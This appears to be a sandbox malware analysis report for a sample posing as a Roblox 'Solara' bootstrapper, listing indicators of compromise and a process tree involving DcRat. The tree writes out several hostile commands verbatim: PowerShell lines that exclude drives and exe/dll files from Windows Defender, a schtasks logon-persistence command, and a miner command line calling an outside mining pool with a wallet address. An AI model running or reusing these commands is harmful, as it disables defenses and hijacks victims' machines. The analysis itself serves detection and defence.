File created	\??\c:\Windows\System32\wgqdr-.exe	csc.exe

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Security\BrowserCore\en-US\886983d96e3d3e	Refcrt.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\886983d96e3d3e	ComContainerbrowserRefRuntime.exe
File created	\??\c:\Program Files (x86)\Windows Defender\CSCDCC5BBACF7CA40AB9EE277A264688463.TMP	csc.exe
File created	C:\Program Files (x86)\Internet Explorer\SIGNUP\088424020bedd6	Refcrt.exe
File created	C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	Refcrt.exe
File created	C:\Program Files (x86)\Windows Defender\OfficeClickToRun.exe	Refcrt.exe
File created	\??\c:\Program Files (x86)\Windows Defender\OfficeClickToRun.exe	csc.exe
File created	C:\Program Files (x86)\Internet Explorer\SIGNUP\conhost.exe	Refcrt.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\csrss.exe	ComContainerbrowserRefRuntime.exe
File created	\??\c:\Program Files (x86)\Internet Explorer\SIGNUP\CSCC883D3E3A7AA4340AAA218C9331097D7.TMP	csc.exe
File created	\??\c:\Program Files (x86)\Internet Explorer\SIGNUP\conhost.exe	csc.exe
File created	C:\Program Files\Windows Photo Viewer\uk-UA\conhost.exe	Refcrt.exe
File created	C:\Program Files\Windows Photo Viewer\uk-UA\088424020bedd6	Refcrt.exe
File created	C:\Program Files (x86)\Windows Defender\e6c9b481da804f	Refcrt.exe

Drops file in Windows directory 23 IoCs

description	ioc	Process
File created	\??\c:\Windows\TAPI\fontdrvhost.exe	csc.exe
File created	C:\Windows\Installer\e5801d0.msi	msiexec.exe
File created	C:\Windows\Panther\actionqueue\886983d96e3d3e	Refcrt.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBF3.tmp	msiexec.exe
File created	C:\Windows\Tasks\faildsfsdf.exe	ComContainerbrowserRefRuntime.exe
File opened for modification	C:\Windows\Installer\MSI250A.tmp	msiexec.exe
File created	\??\c:\Windows\Panther\actionqueue\csrss.exe	csc.exe
File opened for modification	C:\Windows\Installer\MSI55EF.tmp	msiexec.exe
File created	C:\Windows\TAPI\fontdrvhost.exe	Refcrt.exe
File opened for modification	C:\Windows\TAPI\fontdrvhost.exe	Refcrt.exe
File created	C:\Windows\TAPI\5b884080fd4f94	Refcrt.exe
File created	C:\Windows\Panther\actionqueue\csrss.exe	Refcrt.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9A0.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{EFA235B5-C6A1-42E6-9BC9-02A8D56F1CDC}	msiexec.exe
File created	C:\Windows\Tasks\331d3f61e3e52a	ComContainerbrowserRefRuntime.exe
File created	\??\c:\Windows\TAPI\CSCF932FEF599B8442BA97DB393B99C74CC.TMP	csc.exe
File created	\??\c:\Windows\Panther\actionqueue\CSCB215E79060DB493BA4668E8C8A40403E.TMP	csc.exe
File opened for modification	C:\Windows\Installer\e5801d0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC42.tmp	msiexec.exe
File created	C:\Windows\xdwd.dll	faildsfsdf.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	DCRatBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	solara.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	Frage build.exe
Key created	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings	ComContainerbrowserRefRuntime.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6448	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2324	schtasks.exe
2564	schtasks.exe
3616	schtasks.exe
6868	schtasks.exe
2732	schtasks.exe
6280	schtasks.exe
216	schtasks.exe
3252	schtasks.exe
4456	schtasks.exe
5424	schtasks.exe
556	schtasks.exe
2052	schtasks.exe
2268	schtasks.exe
5296	schtasks.exe
5696	schtasks.exe
1784	schtasks.exe
3928	schtasks.exe
5332	schtasks.exe
6432	schtasks.exe
1976	schtasks.exe
920	schtasks.exe
1924	schtasks.exe
3000	schtasks.exe
1004	schtasks.exe
5544	schtasks.exe
6072	schtasks.exe
4328	schtasks.exe
4836	schtasks.exe
1944	schtasks.exe
872	schtasks.exe
1888	schtasks.exe
3336	schtasks.exe
2012	schtasks.exe
3996	schtasks.exe
5100	schtasks.exe
404	schtasks.exe
388	schtasks.exe
6076	schtasks.exe
4368	schtasks.exe
3704	schtasks.exe
5500	schtasks.exe
6748	schtasks.exe
4980	schtasks.exe
4024	schtasks.exe
1892	schtasks.exe
4908	schtasks.exe
752	schtasks.exe
5592	schtasks.exe
4948	schtasks.exe
5104	schtasks.exe
3756	schtasks.exe
5164	schtasks.exe
4384	schtasks.exe
5828	schtasks.exe
3016	schtasks.exe
3000	schtasks.exe
1148	schtasks.exe
2856	schtasks.exe
3516	schtasks.exe
2108	schtasks.exe
1516	schtasks.exe
3304	schtasks.exe
3932	schtasks.exe
7048	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4460	SolaraBootstrapper.exe
4460	SolaraBootstrapper.exe
1148	Refcrt.exe
1148	Refcrt.exe
1148	Refcrt.exe
1148	Refcrt.exe
1148	Refcrt.exe
1148	Refcrt.exe
1148	Refcrt.exe
1148	Refcrt.exe
1148	Refcrt.exe
2392	powershell.exe
2392	powershell.exe
1976	powershell.exe
1976	powershell.exe
676	powershell.exe
676	powershell.exe
4752	powershell.exe
4752	powershell.exe
1000	powershell.exe
1000	powershell.exe
3912	powershell.exe
3912	powershell.exe
4592	powershell.exe
4592	powershell.exe
2856	powershell.exe
2668	powershell.exe
2668	powershell.exe
2856	powershell.exe
4484	powershell.exe
4484	powershell.exe
3832	powershell.exe
3832	powershell.exe
4752	powershell.exe
4312	SppExtComObj.exe
4312	SppExtComObj.exe
2392	powershell.exe
676	powershell.exe
1976	powershell.exe
3912	powershell.exe
4592	powershell.exe
3832	powershell.exe
1000	powershell.exe
4484	powershell.exe
2668	powershell.exe
2856	powershell.exe
4312	SppExtComObj.exe
5352	conhost.exe
5352	conhost.exe
5500	powershell.exe
5500	powershell.exe
5500	powershell.exe
5776	powershell.exe
5776	powershell.exe
5776	powershell.exe
2812	faildsfsdf.exe
2812	faildsfsdf.exe
2812	faildsfsdf.exe
2812	faildsfsdf.exe
2812	faildsfsdf.exe
2812	faildsfsdf.exe
2948	msiexec.exe
2948	msiexec.exe
2812	faildsfsdf.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2812	faildsfsdf.exe
Token: SeDebugPrivilege	4460	SolaraBootstrapper.exe
Token: SeDebugPrivilege	1148	Refcrt.exe
Token: SeShutdownPrivilege	3488	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3488	msiexec.exe
Token: SeSecurityPrivilege	2948	msiexec.exe
Token: SeCreateTokenPrivilege	3488	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3488	msiexec.exe
Token: SeLockMemoryPrivilege	3488	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3488	msiexec.exe
Token: SeMachineAccountPrivilege	3488	msiexec.exe
Token: SeTcbPrivilege	3488	msiexec.exe
Token: SeSecurityPrivilege	3488	msiexec.exe
Token: SeTakeOwnershipPrivilege	3488	msiexec.exe
Token: SeLoadDriverPrivilege	3488	msiexec.exe
Token: SeSystemProfilePrivilege	3488	msiexec.exe
Token: SeSystemtimePrivilege	3488	msiexec.exe
Token: SeProfSingleProcessPrivilege	3488	msiexec.exe
Token: SeIncBasePriorityPrivilege	3488	msiexec.exe
Token: SeCreatePagefilePrivilege	3488	msiexec.exe
Token: SeCreatePermanentPrivilege	3488	msiexec.exe
Token: SeBackupPrivilege	3488	msiexec.exe
Token: SeRestorePrivilege	3488	msiexec.exe
Token: SeShutdownPrivilege	3488	msiexec.exe
Token: SeDebugPrivilege	3488	msiexec.exe
Token: SeAuditPrivilege	3488	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3488	msiexec.exe
Token: SeChangeNotifyPrivilege	3488	msiexec.exe
Token: SeRemoteShutdownPrivilege	3488	msiexec.exe
Token: SeUndockPrivilege	3488	msiexec.exe
Token: SeSyncAgentPrivilege	3488	msiexec.exe
Token: SeEnableDelegationPrivilege	3488	msiexec.exe
Token: SeManageVolumePrivilege	3488	msiexec.exe
Token: SeImpersonatePrivilege	3488	msiexec.exe
Token: SeCreateGlobalPrivilege	3488	msiexec.exe
Token: SeRestorePrivilege	2948	msiexec.exe
Token: SeTakeOwnershipPrivilege	2948	msiexec.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	676	powershell.exe
Token: SeDebugPrivilege	1000	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	3912	powershell.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	4312	SppExtComObj.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeRestorePrivilege	2948	msiexec.exe
Token: SeTakeOwnershipPrivilege	2948	msiexec.exe
Token: SeRestorePrivilege	2948	msiexec.exe
Token: SeTakeOwnershipPrivilege	2948	msiexec.exe
Token: SeRestorePrivilege	2948	msiexec.exe
Token: SeTakeOwnershipPrivilege	2948	msiexec.exe
Token: SeDebugPrivilege	5352	conhost.exe
Token: SeDebugPrivilege	5500	powershell.exe
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeRestorePrivilege	2948	msiexec.exe
Token: SeTakeOwnershipPrivilege	2948	msiexec.exe
Token: SeDebugPrivilege	3952	ComContainerbrowserRefRuntime.exe
Token: SeDebugPrivilege	3044	Roblox.exe
Token: SeDebugPrivilege	5964	backgroundTaskHost.exe
Token: SeRestorePrivilege	2948	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5060 wrote to memory of 3024	5060	SolaraBootstrapper.exe	86
PID 5060 wrote to memory of 3024	5060	SolaraBootstrapper.exe	86
PID 5060 wrote to memory of 3024	5060	SolaraBootstrapper.exe	86
PID 5060 wrote to memory of 2812	5060	SolaraBootstrapper.exe	87
PID 5060 wrote to memory of 2812	5060	SolaraBootstrapper.exe	87
PID 3024 wrote to memory of 2344	3024	Youtube.exe	89
PID 3024 wrote to memory of 2344	3024	Youtube.exe	89
PID 3024 wrote to memory of 2344	3024	Youtube.exe	89
PID 3024 wrote to memory of 1732	3024	Youtube.exe	90
PID 3024 wrote to memory of 1732	3024	Youtube.exe	90
PID 3024 wrote to memory of 1732	3024	Youtube.exe	90
PID 3024 wrote to memory of 4568	3024	Youtube.exe	91
PID 3024 wrote to memory of 4568	3024	Youtube.exe	91
PID 2344 wrote to memory of 4460	2344	Result.exe	93
PID 2344 wrote to memory of 4460	2344	Result.exe	93
PID 2344 wrote to memory of 4460	2344	Result.exe	93
PID 3024 wrote to memory of 1528	3024	Youtube.exe	92
PID 3024 wrote to memory of 1528	3024	Youtube.exe	92
PID 3024 wrote to memory of 1528	3024	Youtube.exe	92
PID 2344 wrote to memory of 3476	2344	Result.exe	95
PID 2344 wrote to memory of 3476	2344	Result.exe	95
PID 2344 wrote to memory of 3476	2344	Result.exe	95
PID 1732 wrote to memory of 1544	1732	DCRatBuild.exe	96
PID 1732 wrote to memory of 1544	1732	DCRatBuild.exe	96
PID 1732 wrote to memory of 1544	1732	DCRatBuild.exe	96
PID 3476 wrote to memory of 672	3476	solara.exe	99
PID 3476 wrote to memory of 672	3476	solara.exe	99
PID 3476 wrote to memory of 672	3476	solara.exe	99
PID 1528 wrote to memory of 2112	1528	Frage build.exe	284
PID 1528 wrote to memory of 2112	1528	Frage build.exe	284
PID 1528 wrote to memory of 2112	1528	Frage build.exe	284
PID 672 wrote to memory of 4892	672	WScript.exe	266
PID 672 wrote to memory of 4892	672	WScript.exe	266
PID 672 wrote to memory of 4892	672	WScript.exe	266
PID 4892 wrote to memory of 1148	4892	cmd.exe	105
PID 4892 wrote to memory of 1148	4892	cmd.exe	105
PID 4460 wrote to memory of 3488	4460	SolaraBootstrapper.exe	117
PID 4460 wrote to memory of 3488	4460	SolaraBootstrapper.exe	117
PID 4460 wrote to memory of 3488	4460	SolaraBootstrapper.exe	117
PID 1148 wrote to memory of 2856	1148	Refcrt.exe	143
PID 1148 wrote to memory of 2856	1148	Refcrt.exe	143
PID 1148 wrote to memory of 676	1148	Refcrt.exe	144
PID 1148 wrote to memory of 676	1148	Refcrt.exe	144
PID 1148 wrote to memory of 4752	1148	Refcrt.exe	221
PID 1148 wrote to memory of 4752	1148	Refcrt.exe	221
PID 1148 wrote to memory of 1976	1148	Refcrt.exe	146
PID 1148 wrote to memory of 1976	1148	Refcrt.exe	146
PID 1148 wrote to memory of 1000	1148	Refcrt.exe	147
PID 1148 wrote to memory of 1000	1148	Refcrt.exe	147
PID 1148 wrote to memory of 3832	1148	Refcrt.exe	271
PID 1148 wrote to memory of 3832	1148	Refcrt.exe	271
PID 1148 wrote to memory of 4484	1148	Refcrt.exe	237
PID 1148 wrote to memory of 4484	1148	Refcrt.exe	237
PID 1148 wrote to memory of 3912	1148	Refcrt.exe	150
PID 1148 wrote to memory of 3912	1148	Refcrt.exe	150
PID 1148 wrote to memory of 2392	1148	Refcrt.exe	232
PID 1148 wrote to memory of 2392	1148	Refcrt.exe	232
PID 1148 wrote to memory of 2668	1148	Refcrt.exe	152
PID 1148 wrote to memory of 2668	1148	Refcrt.exe	152
PID 1148 wrote to memory of 4592	1148	Refcrt.exe	153
PID 1148 wrote to memory of 4592	1148	Refcrt.exe	153
PID 1148 wrote to memory of 1032	1148	Refcrt.exe	154
PID 1148 wrote to memory of 1032	1148	Refcrt.exe	154
PID 1148 wrote to memory of 4312	1148	Refcrt.exe	167

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
1⤵
- DcRat
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5060
- C:\Users\Admin\AppData\Local\Temp\Youtube.exe
  "C:\Users\Admin\AppData\Local\Temp\Youtube.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Users\Admin\AppData\Local\Temp\Result.exe
    "C:\Users\Admin\AppData\Local\Temp\Result.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2344
  - - C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
      "C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4460
    - - C:\Windows\SysWOW64\msiexec.exe
        
        "msiexec" /i "C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi" /qn
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3488
  - - C:\Users\Admin\AppData\Local\Temp\solara.exe
      "C:\Users\Admin\AppData\Local\Temp\solara.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3476
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\bridgechainsavesmonitor\aImCrmZyeD77A2ANdrk.vbe"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:672
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\bridgechainsavesmonitor\4F0VCIGGZPxdNa.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4892
        
        C:\Users\Admin\AppData\Roaming\bridgechainsavesmonitor\Refcrt.exe
        
        "C:\Users\Admin\AppData\Roaming\bridgechainsavesmonitor\Refcrt.exe"
        7⤵
        DcRat
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\bridgechainsavesmonitor\Refcrt.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\TAPI\fontdrvhost.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winNet\wscript.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\uk-UA\conhost.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winNet\csrss.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\SppExtComObj.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\SIGNUP\conhost.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Defender\OfficeClickToRun.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\DriversavessessionDlldhcp\smss.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\My Documents\csrss.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Panther\actionqueue\csrss.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1032
        
        C:\Recovery\WindowsRE\SppExtComObj.exe
        
        "C:\Recovery\WindowsRE\SppExtComObj.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4312
- - C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
    "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1732
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\winNet\we9fgyC144zVOkGk.vbe"
      4⤵
      Checks computer location settings
      PID:1544
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\winNet\rsH0xIUsPk2E2Mq2a4QwbDGWD6K8lz.bat" "
        5⤵
        
        PID:6004
      - C:\winNet\ComContainerbrowserRefRuntime.exe
        
        "C:\winNet/ComContainerbrowserRefRuntime.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:3952
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\H66yQta0TT.bat"
        7⤵
        
        PID:2268
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:5376
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        8⤵
        
        PID:6020
        
        C:\Users\All Users\backgroundTaskHost.exe
        
        "C:\Users\All Users\backgroundTaskHost.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:5964
- - C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe
    "C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe"
    3⤵
    - Executes dropped EXE
    PID:4568
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5352
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        5⤵
        
        PID:5308
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5500
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5776
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "Bloxstrap" /tr "C:\Users\Admin\Bloxstrap.exe"
        5⤵
        
        PID:5524
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Bloxstrap" /tr "C:\Users\Admin\Bloxstrap.exe"
        6⤵
        DcRat
        Scheduled Task/Job: Scheduled Task
        
        PID:5544
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\Bloxstrap.exe"
        5⤵
        
        PID:784
      - C:\Users\Admin\Bloxstrap.exe
        
        C:\Users\Admin\Bloxstrap.exe
        6⤵
        Executes dropped EXE
        
        PID:3680
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\Bloxstrap.exe"
        7⤵
        
        PID:6656
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        
        PID:6592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6480
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        8⤵
        
        PID:6836
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        9⤵
        
        PID:5328
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=43a4sKqYaYRDJ11nnS8kk6ATe7pwz7GqaGCjueKKVcqS8V7ZgQduYQSENk7PRNr1FjgxF7TADqsRBjA5cMsYJeovSPcRAnK --pass=x --cpu-max-threads-hint=30 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=2 --cinit-idle-cpu=90 --tls --cinit-stealth
        8⤵
        
        PID:6360
- - C:\Users\Admin\AppData\Local\Temp\Frage build.exe
    "C:\Users\Admin\AppData\Local\Temp\Frage build.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1528
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\DriversavessessionDlldhcp\ghJPtatrYDLygnNWh9dEZv.vbe"
      4⤵
      Checks computer location settings
      PID:2112
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\DriversavessessionDlldhcp\exFbRiwQoowToPhSTKSA9iYE.bat" "
        5⤵
        
        PID:3704
      - C:\DriversavessessionDlldhcp\Roblox.exe
        
        "C:\DriversavessessionDlldhcp/Roblox.exe"
        6⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        
        PID:3044
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yk2nb3pr\yk2nb3pr.cmdline"
        7⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:2140
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3BCC.tmp" "c:\Windows\TAPI\CSCF932FEF599B8442BA97DB393B99C74CC.TMP"
        8⤵
        
        PID:3048
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tn0g55ui\tn0g55ui.cmdline"
        7⤵
        Loads dropped DLL
        
        PID:5368
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
